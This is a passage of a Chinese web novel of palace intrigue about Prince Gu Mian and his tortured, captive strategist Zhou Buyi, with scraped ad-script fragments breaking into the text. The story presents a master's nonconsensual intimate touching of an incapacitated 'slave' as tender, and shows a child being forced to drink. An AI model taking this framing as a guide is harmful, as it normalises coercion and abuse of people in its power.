顾棉不知怎的心里一阵泛恶心。 “棉哥儿快过来,知道你喜欢仙儿那一类的小倌,特意叫嫲嫲给你物色的。” 顾棉仔细看了一眼,果然都跟周卜易一样长得瘦瘦小小的。 只是那两人一直对着他挤眉弄眼是几个意思? 这哪里是一类……周卜易那是媚骨天成,这两个人……分明纯矫揉造作……到处发情的骚货。 顾棉一入了席,那两人就动了,一个跪在他腿边,脑袋枕在他腿上做小鸟依人状,另一人端起酒杯半趴在他背上,胳膊肘撑着他的肩膀。 “爷,陪奴家喝两杯?” 连语气里都处处是刻意模仿的痕迹。 偏那陈康还笑着揶揄他,“怎么样?别说哥们儿不用心,他们原本是小世子看上的,我一说三爷儿喜欢这号的,他就忍痛割爱叫嫲嫲给你留着了。” 顾棉就着小倌儿的手押下一口酒,道,“酒不错。” “只是酒不错?”陈康面露遗憾,“看来三爷没看上这两个小家伙啊……” 顾棉拿过酒杯,肩上趴着的人立刻给他倒酒,“本王今日只饮酒,对其他的没兴趣。” “陈康,你好生没眼色!” 顾棉抬眸去看,是李文,他的……头号“跟班儿”。 “人家来这是消愁的,不是纵乐!” 李文给自己添满了酒,“来,都陪三爷喝!喝个痛快!” 陈康像是这才想起娴贵妃薨了,他一拍脑壳恍然大悟道,“对对对,喝喝喝!” 顾棉没搭任何人的话,他默默喝着闷酒。 其实他是真的想要痛饮一场的吧? 苦闷太多,难以接受的时候,人会控制不住想选择逃避。 可他没有逃避的资格,他必须蛰伏起来,等待一个最好的时机。 顾棉阖眸,掩去眸底痛苦,仰头吞咽辛辣的烈酒。 一杯接着一杯,然后他在天旋地转中起身,离席。 “棉哥儿你要去哪啊?”陈康在他背后喊了一声。 他看不见,陈康眼中是否有戏谑。 “人家要进宫守灵!一直让二爷替多不像话!”李文呵斥道,“三爷愿意来就来,愿意走就走,你还能管到他头上?” 他同样看不见,周遭人眼中是否有蔑视。 他只是如行尸走肉般歪歪扭扭走在街上。 月光照着青石板路,石面几块干爽几块湿润。 耳边的声音有一阵没一阵,似那有一会没一会的夜风。 “阿棉,你想活下来,就必须学会忍耐。” “要伪装,哪怕再不怠,也要忍。” ——要忍到什么时候去呢? “小不忍,就要乱大谋,你要偷偷强大,然后不鸣则已,一鸣惊人。” ——所以你们在谋什么呢? 过往的一幕幕在眼前回放,他于一个个静谧的夜躲在内殿轻轻翻动书页。 一盏青灯,一轮明月,就是陪着他的全部。 读到难处,百思不得其解的时候,他眼里不由自主流露出羡慕。 他的兄长们都可以问太傅解惑,独他不可以。 所以那个时候他就想,如果能有个人来教教他多好。 每日的功课他都会写两份,一份写在心里慢慢积淀成学识,另一份摆在纸上掩人耳目。 课上他吊儿郎当油盐不进,大字不识支支吾吾。 课下他用食指在地面、桌案或者随便什么甚至是空气里,一遍遍画出他独有的苍酉字迹。 不知不觉已经走近棺材了,入眼的是刺目的白和白中格外醒目的黑。 是白帆和黑色的棺木。 顾承年漫不经心烧着纸钱,抬眸看见顾棉,笑了声,轻声道,“阿棉可算来了,你皇兄我现在还没用晚膳呢。” “你来了,皇兄就走了”,顾承年起身,把位置腾给顾棉,然后亲昵地揉了揉顾棉头发,“阿棉晚上要是怕,可以着人来清宁宫告知皇兄。” “别这么看着我呀”,顾承年语气越发温和起来,“我的母妃当年只是个昭仪,温妃娘娘帮了她不少,她才能升贵妃,我跟你自然比跟太子要亲些的。” 顾棉轻轻点头,装作听不懂这话里的拉拢。 顾承年叹了一声,“你要是有亲哥哥,为兄待你也不比他差的。” “罢了”,顾承年最后拍了拍他头顶,“阿棉一直这般天真下去也好,左右为兄能护你。” “你啊,小心点太子,总没个心眼要吃亏的”,顾承年似犹不放心,嘱咐道,“他母后是六宫之主,他这个嫡长子注定要压我们一头的,你能指望他真对你好么?” 顾棉懵懵懂懂点点头,道,“大皇兄也这么说,他说华贵妃是踩着我母妃上位的……” 顾承年脸色稍变,皱了眉头,怎么太子跟他说的话,他就这么毫无顾忌说给自己了? 难道…… “为兄从前告诉你的话,你也都说给太子了?” 顾棉嗯了一声,疑惑道,“不可以吗?” “你……”顾承年一时对这傻得可爱的弟弟有些无语,他抿了抿唇,道,“当然不可以,为兄只说给你一个人听的。” ——算了,他跟个傻子计较什么劲。 “不说了,为兄还有事,就先走了,阿棉也别太伤心了。” 难怪太子总跟他过不去,他得找个机会帮太子一把,化解这些“误会”。 顾承年匆匆离开了。 顾棉撩开衣袍,在蒲团上跪下。 这一夜,依旧很漫长。 顾棉回府的时候,正是快要黎明,天最黑的时候。 寝殿的门紧闭着,顾棉推开一条缝,月光斜着从脚底下穿过去,在漆黑一片的地面上画了道细长细长的白光。 顾棉轻轻皱眉,为什么下人们没听他的话点灯? 顾棉拿起桌上的火柴,点燃了油灯。 第一眼,没看到周卜易。 顾棉的目光仔仔细细在殿内搜寻,遍寻不到周卜易的身影。 ——人呢? 顾棉轻手轻脚走过去,打开衣橱。 ——果然躲在这里。 顾棉伸出手,搭在美人后颈,“你是不是要本王把柜子也都钉死?” ——周卜易,你东躲西藏又能躲到哪里去? 周衍原本缩在角落,没什么动静。 在听到“钉”字时,他忽然狠狠皱了眉头,然后偏头一口咬住顾棉的手。 周卜易下的死口,顾棉的手几乎是瞬间就被咬出了血! ——好痛,这猫怎么还咬人呢? 尝到血腥味,周卜易才松开牙齿,往地上啐了一声,将口中鲜血尽数吐出。 眼里的嫌恶之色分外明显。 “给我倒杯水来”,周卜易对着空气挑眉,嗤笑,“你的血这么脏,咬你我都嫌恶心。” ——他在跟谁说话?诏狱的人么? “王爷何必执着于我一个小小的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谋士”,周卜易轻蔑的笑着,目光里全然是不屑,“您出门前怕是没照镜子,不知道自己究竟是个什么德行。” “滚吧,您那尊容,实在是漂亮得叫人倒胃口。” 顾棉抚摸着手背上的伤口,试探着凑上去,与正陷入幻觉里的人交流,“本王叫什么名字?” ——是顾承年还是顾良平? “周卜易!” 顾棉斟酌着力道,掐住美人下颌,“叫本王的名字,本王饶你一死!” ——这样也不知道有没有用,但看他的反应,应该是偶尔能听到几个比较特殊的字。 “死?”美人目光依旧盯着空气,“我谢谢您啊。” 顾棉不动声色挪了挪位置,让周卜易的视线落在他身上。 “你觉得孤会轻易让你去死吗?”顾棉深吸气,学着太子霸道的口气,扬起下巴,白眼几乎翻到天上,“你,孤势在必得。” 周卜易反应不大,只是那双美眸越发森冷幽寒。 ——没关系,一个个试嘛,本王有的是耐心。 顾棉忽然轻笑,伸手摸摸周卜易的脸,“死?你说,这会不会太便宜你了呢?” 周卜易忽然暴起,一巴掌扇在顾棉脸上,“随便你好了,王爷在这神都几乎是一手遮天,自然是怎么折磨草民都行。” 顾棉被扇得有点懵,他眼神暗了暗,平复了一下心情。 ——看来是顾承年没错了。 “好骨气”,顾棉势要今天就把来龙去脉都套个明白。 他温柔笑着,手却毫不留情握住周卜易纤细的脖颈,“你真当本王没有脾气?” “你说,本王该怎么惩罚你呢?” 周卜易瞳孔骤缩,但他很快又恢复那幅无所谓的样子,甚至还挑衅一笑,“想怎么样都行啊。” “最好是快点弄死我,否则来日你一定追悔莫及。” 顾棉想,周卜易还是那么神气。 即使身处绝境,他也永远不会低头。 他一直都是那个高傲的,不可一世的周卜易。 他几乎不把任何事物或者人放在眼里,即使是皇室是天子,他依然会用一种藐视的眼神看着他们。 然后眉眼带着不屑的笑,红唇吐露凉薄的话语。 “不过尔尔——” 顾棉忽然就不忍心再试探下去,他又一次在周卜易面前弯下腰,把缩回角落里的人捞出来,抱到怀里。 这是一只孤傲的猫,一只喜欢用爪子挠人的猫。 还很不识好歹,冲着所有人都喵喵乱叫。 顾棉想,哪怕这是我的猫,我是它的主人。 恼了它,它也依然会毫不留情一爪子拍在他脸上。 只有偶尔它心情还不错,才可能赏脸让他撸两下,顺顺毛儿。 顾棉抱着人去了书房——他哪里是买了个私奴,这是买了个需要时刻供着的祖宗。 ——你是我主子。顾棉有些挫败地想。 管家许永元安排人烧水去了,过会儿他还得给他的猫主子擦身子。 擦完身子还要哄主子吃饭…… 顾棉扶额,颇有一种自己在奶孩子的感觉。 还是个特别叛逆的。 天光渐渐大亮了,周衍安静下来,目光落在面前的《恭听圣事录》几个大字上。 ——怎么又失控了呢? 他的视线移动了一下,看到顾棉手上的牙印,呼吸一窒。 “下回奴发病呢,爷离奴远点儿”,美人手指轻轻敲打桌面,“省得您当奴是条疯狗给丢了。” 周衍仰头去看顾棉的脸,却赫然看到一个鲜红的掌印。 “挺好……”周衍把脑袋低回去,“真像个挨了打的登徒浪子。” “爷今儿再去问青天,记得带个面罩。” 周衍轻声,“丑死了。” 9. 奴要勾搭别人跑路了 顾棉低头,伸手把美人的脸掰过来。 拇指抹去他眼角水痕,顾棉抬起手指,指尖上有一点湿润。 “呵”,顾棉意味不明笑了声,他认真看着美人不住躲闪的眼睛,“本王告诉你,不可能。” ——丑哭了? 周卜易,你什么时候才能对我说点真话? “你是本王的奴,本王碰不得你?” ——周卜易,不要再推开我了。 “要么你快点把病治好,要么本王陪着你疯。” 顾棉很有耐心,喂“猫”的动作也越发熟稔起来。 他拿起一块干净毛巾,系在美人脖颈。 他轻轻吹凉了勺里的青菜粥,今天膳房在里面加了点打碎的玉米粒,整碗粥看起来鲜艳了几分。 他喂得很慢,很慢很慢。 喂几勺,就看看美人神色。 若见人蹙眉,他就把碗搁在一边,大掌盖住美人肚皮缓慢打起转来。 凉了就再端去热,温差不多了再接着喂。 半碗粥,他一边喂一边揉,硬生生耗了两个时辰。 ——这样就不会再难受了吧? 面前地上木桶冒着热气,顾棉拿起里面泡着的毛巾,拧干了水分,给周卜易擦脸。 擦完了就蘸一蘸水,清洗好,再给人擦手擦身子。 热水换了三道,顾棉不厌其烦把那些已经干涸的血一点点擦去。 脏了的里衣被丢在一边,顾棉没急着给人换衣服,反而又在美人身上一寸一寸细细抚摸。 周卜易难耐地扬起了脖子,手指用力掐着顾棉大腿,似乎在表达不满。 顾棉置若罔闻,连腿间都仔仔细细摸了一遍,没有放过任何一个可能被忽略的角落。 ——他动的好厉害,原来他的腰这么怕痒吗? 顾棉咽了口唾液,继续。 ——大腿内侧也很敏感,碰一碰就止不住的抖。 后背是很浅的鞭痕,似乎已经过去很久了,疤快褪完了。 腿内侧那好像烙了个字,太模糊了,看不清…… 顾棉把美人往上搂了搂,分开他抗拒的双腿,瞧了半天也没瞧清楚是哪国文字。 这不是诏狱留下的! 诏狱的烙铁都是朝歌特有的方正字,而周卜易腿上的字笔画都是圆润的曲线。 ——好熟悉,这到底是哪国的文字? 好像在哪里见过一模一样的字。 顾棉看了周卜易一眼,美人的眼睛含着怒气,目光时不时扫过他喉咙,似乎在考虑要不要拿个什么东西狠狠捅进去。 这样的目光令人如此不寒而栗,却又偏偏最能激起人的征服欲。 顾棉抬起一只手,轻轻盖住了周衍那冰冻三尺的双眸。 ——五百三十四根针。 顾棉微微抬头,看着远处树下的风铃。 ——一百九十八根竟是直接入了骨髓! 周卜易啊…… 周卜易! 顾棉几乎要抖得不能自已。 “你瞪本王有什么用?”顾棉吸了吸鼻子,“本王自己的私奴,本王想脱就脱,本王就是叫你今后都不准穿衣服,你也得听本王的。” 一顿,另一手抹了抹湿漉漉的眼角,道,“轮椅给你打好了,裹了毛皮,填了棉花。” “别一直闷在殿里,叫下人推你多去院子里转悠。” 周卜易眨了下眼睛,睫毛轻轻扫过顾棉手心。 如被火舌舔过,顾棉瞬间缩回了手,哆哆嗦嗦给人换好新衣。 “下午黎太医会再来一趟,除了把脉,还要试着为你取针。” 顾棉吃了美人剩的半碗粥,推开碗,拿起毛笔蘸墨。 依旧是歪歪扭扭长虫似的字迹。 ——陛下圣明,奉源二十一年春,父皇偶感风寒,久卧龙榻。 儿臣欲要侍疾,孰料母妃先逝,故此推辞。 奉源二十一年夏末,急召二皇兄入宫常伴父皇左右,然大皇兄身在神都却未得传唤。 儿臣自与父皇同心合意,来日必将鞍前马后,儿臣天生资质愚钝,虽未有能辅佐之贤,却也决意不为二皇兄添堵。 二皇兄之能力,有目共睹,朝中诸臣如……之流,皆与之交好。 棉将尽绵薄之力,谨遵父皇心意。 吾皇万岁! 周卜易默不作声看着顾棉把二皇子党的每一个人都列了个明明白白。 他叹,“这一页撕了,重写。” 顾棉笔一顿,皱眉,“你……” “重写”,周卜易又敲了敲桌案,“忘了自己是个什么玩意儿了吗?” “一个一心只有寻欢作乐的纨绔,如何能摸清如此纵横交错的各方势力,并将它们分门别类?” “爷到底是想隔岸观火”,周卜易轻轻笑,“还是想惹火上身呢?” “爷最好听奴的劝”,周卜易抬袖掩唇,笑得妩媚多姿,“不然奴可要弃暗投明了。” “奴要是勾搭上别人,丢下爷独自跑路了”,周卜易伸手勾住顾棉一缕发丝,漫不经心捏在指腹把玩,“爷不能气愤而死吧?” 顾棉微不可查勾了唇角,将眸中笑意压下,撕了那页纸,重新执笔、点墨。 这一次只列出了少数几个极明显的人,甚至还故意写错了几个原本是太子党的人。 周衍看到了那一抹得逞的笑,也看穿了顾棉的小心思。 可他并不点破,只作不知。 ——原本就是想收你的。 毕竟那么乖又黏人的孩子,谁会不喜欢呢? ——只是那时时机未到。我不得不狠下心一次又一次拒绝你。 美人阖了眸子,把自己蜷缩起来,完全把顾棉当做火炉子一样紧紧靠着他取暖。 “真是……”顾棉刮了刮美人鼻尖,“胆大包天……” 但不可否认,他很受用。 就是别那么瘦就更好了…… 顾棉在心里计划着要把猫养得白白胖胖的。 养得软软乎乎的,揉搓起来手感舒舒服服的。 到那时候,他一定要按着周卜易光洁起来的背脊,一边听着他一叠声儿的软软求饶,一边把这只高傲极了的猫从头揉到脚。 必定要揉得他再不敢跟自己伸爪子或者喵喵叫。 周卜易眼皮都懒得掀一下,任由顾棉一会刮他的鼻子,一会摸他闭合的眼睛。 等顾棉摸完他嘴唇忍不住又往胸口探下去的时候,美人终于是有点恼了,他用力瞪了顾棉一眼。 ——并无什么太大的杀伤力,顾棉只是顿了一下,接着就变本加厉到处乱摸起来。 “本王的奴隶,本王想……” “闭嘴”,周衍有气无力拍了顾棉的狗爪子一下,“再乱动错手摸到了针,信不信奴当场表演去世给爷看。” 顾棉忽然就失了兴致,继而涌上的是如潮水般扑面而来的心酸。 他收起笔墨,把那本《恭听圣事录》合起来,放到一边。 顾棉抱着人起身,出了书房,远远便看见许永元推着一辆机关玄妙的轮椅迎面走来。 轮椅的座椅、靠背、扶手,都毛绒绒的。 但只从裸露的轮子就可以看出,这是无比珍贵的梨花小红木制作而成。 顾棉把美人放到上面,抓着他的手按下一个机关。 柔软的布带从椅背缓慢弹出,在周卜易腰上环了一圈,又慢慢收紧成合适的长度。 “本王怕你掉下来摔死”,顾棉摩挲了那手柄两圈,“在你坐在这上面的前提下,这条带子不伸出来,轮椅就动不了。” 周衍微微挑眉,“墨连城的手笔?” “周衍,本王发现,你这小倌见识真不算少啊”,顾棉眼神晦暗不明,“北离墨家当代家主的底细,你都知道得这般清楚。” “不知道的人还以为你是那个已被处死的神算”,顾棉低声笑了一下,“全知全谋周卜易呢。” 天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衍四十九,唯有一机漏算。 于是世人说,那条漏掉的天机,正是周卜易。 旁人难以窥破的隐秘和细节,在周卜易眼里从来无所遁形。 正对应着他的字——卜易。 他们管他叫神算,因为他料事如神,就好似会传说中的卜卦一般。 ——所以算尽了天机的你,是否也算到了自己的悲惨遭遇? 顾棉攥了攥拳头。 ——那么你是否因为某种原因,选择故意入狱? 顾棉不相信,几块金牌就能将周卜易那样的人逼到绝境。 只有一种可能,这都是周卜易算计好的! 他以身入局到底是要干什么?! 顾棉拳头越发紧了——都不告诉本王,本王难道不会自己去查? ——真是个疯子。 顾棉有些悲伤的看着坐在轮椅上病恹恹的美人。 ——你就这么轻贱自己的命? 你之砒霜,我之蜜糖。 周卜易,你既然一点都不在乎自己的命,那它就彻彻底底归本王了。 本王要你生,你就是踏上黄泉路了,也得给本王硬生生爬回来! 许永元松开扶着轮椅的手,对着顾棉躬身,“王爷,黎太医在前院等着了。” “嗯,你下去吧”,顾棉冷淡的应了一声,推着美人走在羊肠小路上。 昨夜喝的酒其实并无什么影响,早在很久很久以前,他就可以千杯不醉了。 那是奉源十年的一个秋夜,他非要赖在小皇叔府上缠着顾泽舟讨酒喝。 顾泽舟拿他很无奈,“三殿下,天晚了,再说你总来寒舍,陛下恐要……” 顾泽舟从来不叫顾君颐皇兄,他总是有礼又疏离地叫着“陛下”、“君上”。 “有什么关系”,顾棉嘟嘟嘴,“父皇又不管我去哪玩。” “既然小殿下喜欢喝,那就让他喝个够”,周卜易自地窖走出,手里拎着两坛子烈酒,哐当一声砸在他面前,“喝完,别让臣瞧不起您。” 顾棉醉眼朦胧的想着,先生脾气怎么又坏起来了,谁惹到他了吗? 他抿抿唇,并不想服输。 揭了封纸,其实第一次尝这玩意儿的他早就醉了,但他抱起坛子,咕咚咕咚往肚子里灌。 “哎——”顾泽舟唉声叹气,“卜易你干什么?三殿下才七岁,你……哎……你……” 周卜易一句话也不说,撕了另一坛大红封纸,掐住他的脸,捏开他的嘴,就往里倒。 鼻子里耳朵里都进了酒,他狼狈地呛咳起来。 醉得不省人事的时候,恍惚感觉自己被人提着正朝什么地方走。 他不安地扑腾了两下,却换不来那人一丝怜悯。 周遭声音嘈杂起来,路上颠簸让他吐了几次,又因为吹风,稍微醒了些神。 ——这……这是什么地方?! 窑子吗?! 顾棉牙齿打架,身体哆嗦起来。 周卜易难道要给他卖了??? “怕吗?”感受到小孩在轻轻扯他袖子,周卜易这才大发慈悲放人下来。 伸一手,点着小孩额头,周卜易眼底情绪莫明,“长教训。” “在别人家里,时刻保留警惕。” 顾棉轻咬下唇——不是别人。 似是看出来他不服气,周卜易单手拎了他过来,作势又往那群魔乱舞的地方走。 “熟人往往比外人更可怕”,周卜易眸色很深,他的叹息很轻,轻到顾棉不确定记忆里是否真的有叹息声。 “尤其是你啊,小殿下。” 周卜易把吓坏了的他抱起来,轻轻拍打他的后背,语气里是他当年不懂的惆怅。 “你的路,注定比别人难走多了啊”,周卜易轻声,“永远不要让旁人轻易拿捏你,你的满不在乎会葬送你的命。” 他最后听见周卜易半开玩笑道,“回去练练酒量吧,你要做一个清醒的醉客。” 10. 他的花被人采了 “这针也并非不能取出”,黎阳春看了顾棉一眼,见他正在发呆,便停顿了一下。 “你继续”,顾棉从回忆中走出,目光紧紧盯着黎太医给美人把脉的手。 “这针能取,但却少了一套关键刀具”,黎阳春目光闪烁,“若能寻到神医后人,得到华山泉那把游丝刀,老夫有三成把握能取出来。” “若没有呢?”顾棉轻轻皱眉。 “半成也没有,十死无生。”黎阳春说这话的同时,偷偷往周卜易那瞟了一眼。 “什么时候要,本王现在就去华府递拜贴。” 黎阳春颔首,似是不放心,又嘱咐了几句,“那游丝刀是神医遗物,有很大可能跟着华前辈下了葬,不好交涉啊……” 不好交涉吗? 顾棉大步流星。 那也得交涉! 看着顾棉离开,周卜易虚弱抬手,指了指门。 黎阳春立刻会意,对外面嘱咐了一声“不要打扰”,便关紧了门,插上门栓反锁。 “游丝刀在你手上”,周卜易用肯定的语气,“北离那边……” “大人”,黎阳春对着周卜易直接跪下,“公主已逝,是时候该让殿下接触一些事情了。” “大人?一而再再而三擅作主张,不如我叫你一声大人可好?” 话到最后,已动了三分真火。 “衍现在就让位,你来当……” “大人!”黎阳春一把握住周卜易手腕,“大人,您是最该清楚大局的人!” 周卜易蓦然住嘴,只是目光越来越冷。 隔了一会儿,他嗤笑,“南边那几个跳得最欢的国君该换了。” “您那一脉,已经在办了,另外边南军现在是我们的人在控制”,黎阳春目光炯炯,“必要时候,我们会让顾泽舟永远留在诏狱。” “边南王牵扯的势力太复杂,暂时不能动”,周卜易拧眉,“殿下那边,通知华家好好配合。” 黎阳春点头,语气里满是忧愁,“华家不会背叛,他们很清楚自己的使命。” 周卜易闭上眼睛,遮掩了所有不该有的情绪。 他再开口,语气里已全然没有丝毫感情,“你走,走到府门叹息三声,不要跨,踩着门槛出去,然后回头看一眼门房。” 黎阳春很快消失在周卜易眼前。 顾棉快马加鞭,赶在午时二刻到了华府。 神医后人听闻三皇子至此,立刻倒履相迎,只是一直站在门口,却不请顾棉进门。 华云舒躬身行礼,“三殿下。” 顾棉扶起华云舒,面有愧色,“本王无意冒犯,只是那游丝……” 顾棉停顿了一下,这华云舒神色好像不太自然…… 他心里感到有些不妙。 “游丝刀…容王殿下,不瞒您说…… “家父死得蹊跷,不,他不是死了…他……他似乎是得道了!” “你说什么?”顾棉忽然抓住华云舒肩膀,“他没死?!” 若华山泉当真还在世,那…… “他死了…但…也不像死”,华云舒从袖中取出一张烧焦了边边的纸。 “这是家父头七那天,忽然出现在火盆中的。 “是父亲的字迹无疑!最可怕的是…是那时它……它墨迹未干!” 顾棉凝神去看,只见那上面写着——初三淬火,初十朝圣,初二刺绣,初一云游。 初七忌杀,初八入定,初九戴帽,初四五六,仙宫见我。 顾棉若有所思,默默记在心里。 “游丝刀不在华家手上,云舒亦不知它在何方”,华云舒拱手作揖,“殿下请回吧,未时了,云舒该为家父洁身了……” “等……” 话还没说完,华云舒就好似见了瘟神一样,一面念叨着无恙无恙,一面飞快关上大门。 徒留顾棉边走边沉思。 想得太入神,手里不注意松了缰绳,待察觉时马儿已不见踪迹。 顾棉只好作罢,他没管那马,继续想着—— 华山泉到底死了没有?华云舒为什么要按时给一个死人洁身? 死了的人却还活着吗? 顾棉心里咯噔一下……周卜易! 黎阳春说过的话不断回荡在他脑海。 “这…这位公子已经死了啊!” 华府在城北,离皇宫隔了一整个神都之远。 待顾棉入宫时,天已完全黑了。 他拐了个弯儿,正巧撞见一人,黑漆麻拱的也没看清是谁,只那人落了本折子在地上。 他瞧那人背影熟悉,刚欲叫住人好生分辨,只余光借着月色瞧清楚那折子的名录后,愣住了。 ——《名器谱》。 顾棉鬼使神差翻开一页,这首页便赫然是周卜易的名字。 ——周衍,字卜易,百器之君。 夹竹剑,亦有银环蛇、鸢尾花之称。 其剑柄剑鞘剑身皆淬剧毒。 得此一剑,可斩尽天下龙脉,造蟒蛇吞龙之势。 夹竹剑极度危险,易噬主,无计可控,暂封存。 ——华苑,字山泉。此人乃是离梁燕,磨刀石。 医术高明,毒术亦冠绝天下。 素有神医美称,曾受雇以一手“游丝走脉”剔除病人全身经脉却仍能保此人不死而闻名天下。 虽性情古怪,但极为护主。 ——墨鞍,字连城。鬼神斧。 墨翟嫡系后人,年仅十一便熟练墨家所有机关造化之术,并不断尝试创新突破。 …… 后面的内容被大片大片墨迹污染,再也分辨不清。 如果他们都是名器谱上的兵器,那么兵器的主人又是谁? 顾棉不甘心地死死盯着最后一页那几个模糊的字看。 ——百年磨九器。 ——器主顾……。 顾?顾棉倒吸了一口凉气,姓顾? 看痕迹,应当是三个字的名讳! 是顾君颐、顾良平,还是顾承年?! ——周卜易,你是否站在我的对立面?! 顾棉用力捂住胸口,这本册子既然堂而皇之出现在宫中,那么拥有它的,十有八九就是皇宫的主人! 周卜易是皇上的人?! 顾棉忽然感到很压抑,他想了半天,才想起来,这种感觉,就如那年寒冬腊月,他被周卜易丢入冰冷的河水中。 同样绝望,同样无助。 难怪周卜易对他总这样坏,难怪周卜易总是喜欢欺负他。 顾棉紧紧攥着手指。 ——既然如此,你为何还要来招惹本王?! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为什么给了他希望,转头又将他推入更漆黑的深渊?! 是了,周卜易本就是这样恶劣的人。 记不得是哪一年了,反正是个挺好的春日吧。 他看见周卜易好像在笑,不是讽刺的笑,是温和柔软的笑。 桃花就在头顶开着,桃枝被压得很低,他只不过是扶着低桠的树枝一弯腰再一抬头的功夫,周卜易眼中就只剩下冷淡。 他情不自禁就松了手,瞬间桃枝便向他脑袋弹去。 明明周卜易只要伸伸手,就来得及帮他压住那根树枝。 可周卜易淡漠着眉眼,薄唇轻吐两字,曰,“愚蠢。” 只差分毫,那桃枝的分叉就可以戳瞎他的眼睛! 顾棉揉着头上鼓起的包,有些怨怼地想着…… ——就你聪明! 他一边忍住不哭,一边用湿漉漉的眼睛巴巴看着周卜易。 周卜易会不会帮他揉一揉呢?揉一下就好,只要揉一下他就满足了。 周卜易当然不会。 周卜易转身,漫步在桃花林,那极美的身段就如桃花仙一般与片片飘零的花瓣融在了一起。 ——好美啊,怎么会有人美得这般惊心动魄。 可怎么会有美人这般冷硬心肠且又喜怒不定呢? 周卜易是独一份。 是那惊艳他的鸢尾花,哪怕有着剧毒,也挡不住他想要撷取的心思。 他不怕剧毒,可若是这花是别人的盆栽呢? 那个种花的人还是顾君颐! 顾棉魂不守舍待到天亮,回到府中就直奔寝殿。 他一脚踹开寝殿大门,美人似乎在内心剧烈挣扎过一番,如今败下阵来,正准备往柜门前爬。 “周卜易!”顾棉甩手关上已被拉开一条缝的柜门,巨大的声响惊了美人,他瑟缩了一下,手脚并用快速往反方向爬。 周卜易狼狈而努力地挪动着病躯,在地上拖出一条触目惊心的长长血痕。 顾棉心尖抖了一下,但很快被怒火覆盖。 ——本王再心疼你就是狗! “躲!你往哪里躲!” 脚步声一点点接近瑟瑟发抖的美人,周卜易背脊弓起来,似乎随时准备攻击顾棉。 在破风声到达面门前,顾棉接住了周卜易挥过来的拳头。 “好,好啊,都什么样子了还想伤本王!” 顾棉的瞳孔布满血丝,眼睛越发猩红,“这些年的债是不是该还本王了!” “爬起来跪好!” 听到“跪”字,美人忽然停止了逃蹿,他将牙齿咬得咯吱响,不顾伤势抱住顾棉的腿,一口咬了下去! 咬出血肉模糊,他也不肯松口! 顾棉蹲下来,铆足了劲掰开美人尖利的牙齿。 “本王真应该给你把牙全部敲碎”,顾棉脸色阴沉,“原来是一条会咬主人的疯狗,难怪顾君颐会弃了你!” 周卜易听不懂顾棉的话,他只是把顾棉的血吐回顾棉脸上,冷笑。 “别做美梦了,我就是跪死在这针板上,也不可能如你的愿!” ——什…什么…… 周卜易刚刚说什么?! “王爷就不能换点新花样么”,美人脸上带着挑衅的笑容,“夜夜都如此,你不腻,我腻了。” 11. 他真的戒不掉 美人的眼睛有一瞬迷茫,随即很快恢复清明——天亮了。 他稍带探究的目光落在顾棉脸上的血和正拎着他衣襟的手上。 顾棉的手青筋暴起,脸上的神情相当复杂。 ——震惊、愤怒、不可置信。 还有一丝哀痛。 顾棉松开手,背过身,他想,他再也不要管这条捂不热的毒蛇了。 身后很久都没有动静,顾棉控制不住转身,回头。 美人蜷缩在地板上,身下的褥子歪七扭八搅作一团。 他浑身毛孔止不住往外冒血,一小滴一小滴渗出来,在地板上流动,在褥子上晕开。 顾棉单膝跪地,伸出的双手缩回了几次,最终坚定地将痛苦无比的美人抱起来。 “你活该”,顾棉颤抖着声音,“周卜易,你活该。” 内院又是一阵忙乱,有人去通知膳房烧水,有人端着木盆进进出出,有人守着锅里的粥食。 今天的粥里加了点肉糜,怕那病弱不堪的人不适应,只加了一丁点。 顾棉把沾血的毛巾浸进水里,血凝块一股一股往外散。 怎么这样呢? 顾棉看着很快变得深红的木盆。 他还能活多久?能不能活到还账的那一天? “华府有古怪,本王会再去一趟。” 从守灵结束,到送娴贵妃下葬,有四天时间。 他要住进华府。 美人歪头,气若游丝,“我…跟你…咳咳……” 周卜易紧抿了唇,咽下上涌的血沫,“一…一起去。” 华家那边要有大动作了,他必须时刻跟着顾棉,保证顾棉能顺利全身而退。 周卜易目光紧紧盯着那碗粥,“别擦了…擦不干净的,拿个毯子过来给我盖上。” 顾棉猛捏了袖口,带着一身火气出去找毯子了。 ——他…这是什么态度? 周卜易面沉如水望着顾棉的背影,思索了片刻。 ——是谁,又自作主张? 周卜易抬起软绵绵的手臂,捶在轮椅扶手上。 很轻很轻,那只曾经握剑执枪,一杆长缨杀得敌人溃不成军的手,已经再提不起一丝气力了。 口里的血腥味越发浓了。 顾棉寻了最轻的毯子,把人仔仔细细盖好,然后垫了毛巾在美人下颌。 他端起碗——每次喂饭就像行兵打仗,他不得不时刻关注周卜易的状态。 周卜易今天很安分,不止如此,他甚至多吃了小半碗。 很不错啊,很快就可以完完整整吃下一整碗了。 不对,本王为什么要为他高兴! 顾棉把那剩了个底的瓷碗递给小厮,自己也端起一碗,饮尽。 “爷最好是多吃点”,周卜易气息很弱,“奴一天到晚都不带动的,爷可要忙里忙外,别饿晕了徒使人笑话。” 一顿,拖长了尾音继续,“丢人——” 哪怕虚弱至此,周卜易依然是那副游刃有余的姿态。 他这么一笑,不止带着凉薄,还有戏弄。 好似众生都是他掌中玩物。 他的眼神是那样的桀骜不驯,又是那样的不屑一顾。 ——夹竹剑,鸢尾花是吗! 顾棉呼呼喝粥,用粥泄愤。 ——管你是什么蛇,到了本王手里,都得乖乖化作绕指柔! 粥饮尽,顾棉哐一声搁在桌上,起身进了寝殿。 他一步一跺脚,好似跟这地板台阶有什么极深极深的仇。 美人看得目瞪口呆——他在发什么疯? 叫他吃个饭怎么跟要杀他全家一样? 周卜易总结了半天,最终得出一个结论——一定是这两天自己对他太过和颜悦色了,惯的! 轮椅忽然往前滚动,周卜易回头,一个带着草帽门夫打扮的人正推着他走。 “问青天那边来信儿了”,门夫并未张口,声音自他腹腔中发出。 他面色不变,似乎只是在推着周卜易漫无目的闲逛。 “嗯”,周卜易应了,“推我去太阳底下晒晒,这檐下冷。” 还没入秋,其实还热着,只是方才失血过多,才至如此。 